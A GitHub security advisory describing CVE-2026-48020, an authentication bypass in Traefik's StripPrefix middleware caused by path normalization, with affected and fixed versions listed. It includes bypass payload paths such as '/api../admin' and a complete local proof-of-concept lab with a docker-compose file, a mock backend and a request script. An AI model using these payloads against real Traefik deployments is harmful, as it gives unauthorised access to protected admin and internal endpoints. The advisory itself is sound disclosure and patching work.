GitHub Advisoryadvisory · Go

GHSA-xf64-8mw2-4gr2 Traefik has a StripPrefix Route-Level Auth Bypass via Path Normalization

HIGH Published 2026-06-11 Modified 2026-09-02 Official page ↗
Aliases
CVE-2026-48020
Ecosystem
Go
Packages
github.com/traefik/traefik/v2, github.com/traefik/traefik/v3
Severity
High
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N
Weaknesses
CWE-22, CWE-288
Reviewed
2026-06-11

Affected packages

• Go github.com/traefik/traefik/v2: < 2.11.48 → fixed in 2.11.48 • Go github.com/traefik/traefik/v3: < 3.6.19 → fixed in 3.6.19 • Go github.com/traefik/traefik/v3: >= 3.7.0-ea.1, < 3.7.3 → fixed in 3.7.3

Description

Summary There is a high severity vulnerability in Traefik's `StripPrefix` middleware that allows an unauthenticated attacker to bypass route-level authentication and authorization. When a public router matches on a `PathPrefix` rule and applies the `StripPrefix` middleware, a request path containing `..` or its percent-encoded form `%2e%2e` can match the public route at routing time and then, after the prefix is stripped and the path is normalized, resolve to a path served by a separate, authenticated router. As a result, an attacker can reach protected backend paths — such as admin or internal configuration endpoints — without satisfying the authentication middleware attached to the protected router. Patches • https://github.com/traefik/traefik/releases/tag/v2.11.48 • https://github.com/traefik/traefik/releases/tag/v3.6.19 • https://github.com/traefik/traefik/releases/tag/v3.7.3 For more information If there are any questions or comments about this advisory, please open an issue. Original Description Traefik StripPrefix Route-Level Auth Bypass via Path Normalization (/api../) Summary A route-level authentication/authorization bypas was found in Traefik when `PathPrefix`-based public routes are combined with `StripPrefix`. A request using `/api../` or `/api%2e%2e/` can avoid protected router rules at the routing stage, but after `StripPrefix`, the path is normalized and forwarded to the backend as a protected path such as `/admin` or `/internal/config`. This is reproducible on patched/latest Traefik versions and appears related to, but distinct from, previously disclosed `StripPrefixRegex` / path-normalization issues. This report specifically affects `StripPrefix`. Affected Versions Tested | Image | Observed Version | Result | |---|---|---| | `traefik:v2.11` | `v2.11.46` | Affected | | `traefik:v3.6` | `v3.6.17` | Affected | | `traefik:latest` | `v3.7.1` | Affected | Lab Contrast | Image | Result | |---|---| | `traefik:v2.10` | Not reproduced in lab | | `traefik:v3.5` | Not reproduced in lab | Vulnerable Configuration Pattern The issue appears when: • a broad public route strips a prefix • while a separate protected route is intended to guard internal/admin paths ```yaml http: routers: public-api: rule: 'PathPrefix(`/api`) && !PathPrefix(`/api/admin`) && !PathPrefix(`/api/internal`)' entryPoints: • web middlewares: • strip-api service: backend protected: rule: 'PathPrefix(`/admin`) || PathPrefix(`/internal`)' entryPoints: • web middlewares: • auth service: backend middlewares: strip-api: stripPrefix: prefixes: • /api auth: basicAuth: users: • 'test:$apr1$H6uskkkW$IgXLP6ewTrSuBkTrqE8wj/' services: backend: loadBalancer: servers: • url: http://backend:9000 ``` Observed Behavior Direct Protected Paths These are correctly blocked. | Request | Expected | Observed | |---|---|---| | `GET /admin` | Blocked | `401` | | `GET /internal/config` | Blocked | `401` | Expected Public Exclusions These do not expose protected backend paths. | Request | Expected | Observed | |---|---|---| | `GET /api/admin` | Not routed to protected backend path | `404` | | `GET /api/internal/config` | Not routed to protected backend path | `404` | Bypass Payloads These reach protected backend paths. | Request | Observed Status | Backend Receives | |---|---|---| | `GET /api../admin` | `200` | `/admin` | | `GET /api%2e%2e/admin` | `200` | `/admin` | | `GET /api../internal/config` | `200` | `/internal/config` | | `GET /api%2e%2e/internal/config` | `200` | `/internal/config` | Minimal PoC docker-compose.yml ```yaml services: traefik: image: traefik:v3.7 command: • --providers.file.filename=/etc/traefik/dynamic.yml • --entrypoints.web.address=:8080 • --accesslog=true ports: • "127.0.0.1:18080:8080" volumes: • ./dynamic.yml:/etc/traefik/dynamic.yml:ro depends_on: • backend backend: image: python:3.12-slim working_dir: /app command: python backend.py volumes: • ./backend.py:/app/backend.py:ro expose: • "9000" ``` dynamic.yml ```yaml http: routers: public-api: rule: 'PathPrefix(`/api`) && !PathPrefix(`/api/admin`) && !PathPrefix(`/api/internal`)' entryPoints: • web middlewares: • strip-api service: backend protected: rule: 'PathPrefix(`/admin`) || PathPrefix(`/internal`)' entryPoints: • web middlewares: • auth service: backend middlewares: strip-api: stripPrefix: prefixes: • /api auth: basicAuth: users: • 'test:$apr1$H6uskkkW$IgXLP6ewTrSuBkTrqE8wj/' services: backend: loadBalancer: servers: • url: http://backend:9000 ``` backend.py ```python from http.server import BaseHTTPRequestHandler, HTTPServer import json class Handler(BaseHTTPRequestHandler): def log_message(self, fmt, *args): return def _json(self, status, obj): body = json.dumps(obj).encode() self.send_response(status) self.send_header("Content-Type", "application/json") self.send_header("Content-Length", str(len(body))) self.end_headers() self.wfile.write(body) def do_GET(self): if self.path == "/admin": self._json(200, { "seen_path": self.path, "secret": "ADMIN_SECRET_REACHED" }) elif self.path == "/internal/config": self._json(200, { "seen_path": self.path, "secret": "TRAEFIK_LAB_INTERNAL_CONFIG" }) elif self.path == "/admin/exec": self._json(200, { "seen_path": self.path, "rce_chain_marker": True, "note": "protected execution endpoint reached" }) else: self._json(404, { "seen_path": self.path, "secret": None }) HTTPServer(("0.0.0.0", 9000), Handler).serve_forever() ``` poc.py ```python !/usr/bin/env python3 from urllib.request import Request, urlopen from urllib.error import HTTPError BASE = "http://127.0.0.1:18080" PATHS = [ "/admin", "/internal/config", "/api/admin", "/api/internal/config", "/api../admin", "/api%2e%2e/admin", "/api../internal/config", "/api%2e%2e/internal/config", "/admin/exec", "/api/admin/exec", "/api../admin/exec", "/api%2e%2e/admin/exec", ] for path in PATHS: req = Request(BASE + path) try: with urlopen(req, timeout=5) as r: status = r.status body = r.read().decode(errors="replace") except HTTPError as e: status = e.code body = e.read().decode(errors="replace") print(f"{path:28} {status} {body[:180]}") ``` Run ```bash docker compose up -d python3 poc.py ``` Expected Vulnerable Output ```text /admin 401 /internal/config 401 /api/admin 404 /api/internal/config 404 /api../admin 200 backend seen_path=/admin /api%2e%2e/admin 200 backend seen_path=/admin /api../internal/config 200 backend seen_path=/internal/config /api%2e%2e/internal/config 200 backend seen_path=/internal/config /api../admin/exec 200 protected execution endpoint reached /api%2e%2e/admin/exec 200 protected execution endpoint reached ``` Root Cause Hypothesis The vulnerable behavior appears to be caused by path normalization after prefix stripping. ```text Incoming path: /api../admin After StripPrefix("/api"): /../admin After JoinPath(): /admin ``` The request does not match the protect…

Related

Alias · CVE (1)

  • CVE-2026-48020 Traefik is an HTTP reverse proxy and load balancer. vulnerability

Weakness · CWE (2)

  • CWE-22 Improper Limitation of a Pathname to a Restricted Directory weakness
  • CWE-288 Authentication Bypass Using an Alternate Path or Channel weakness

References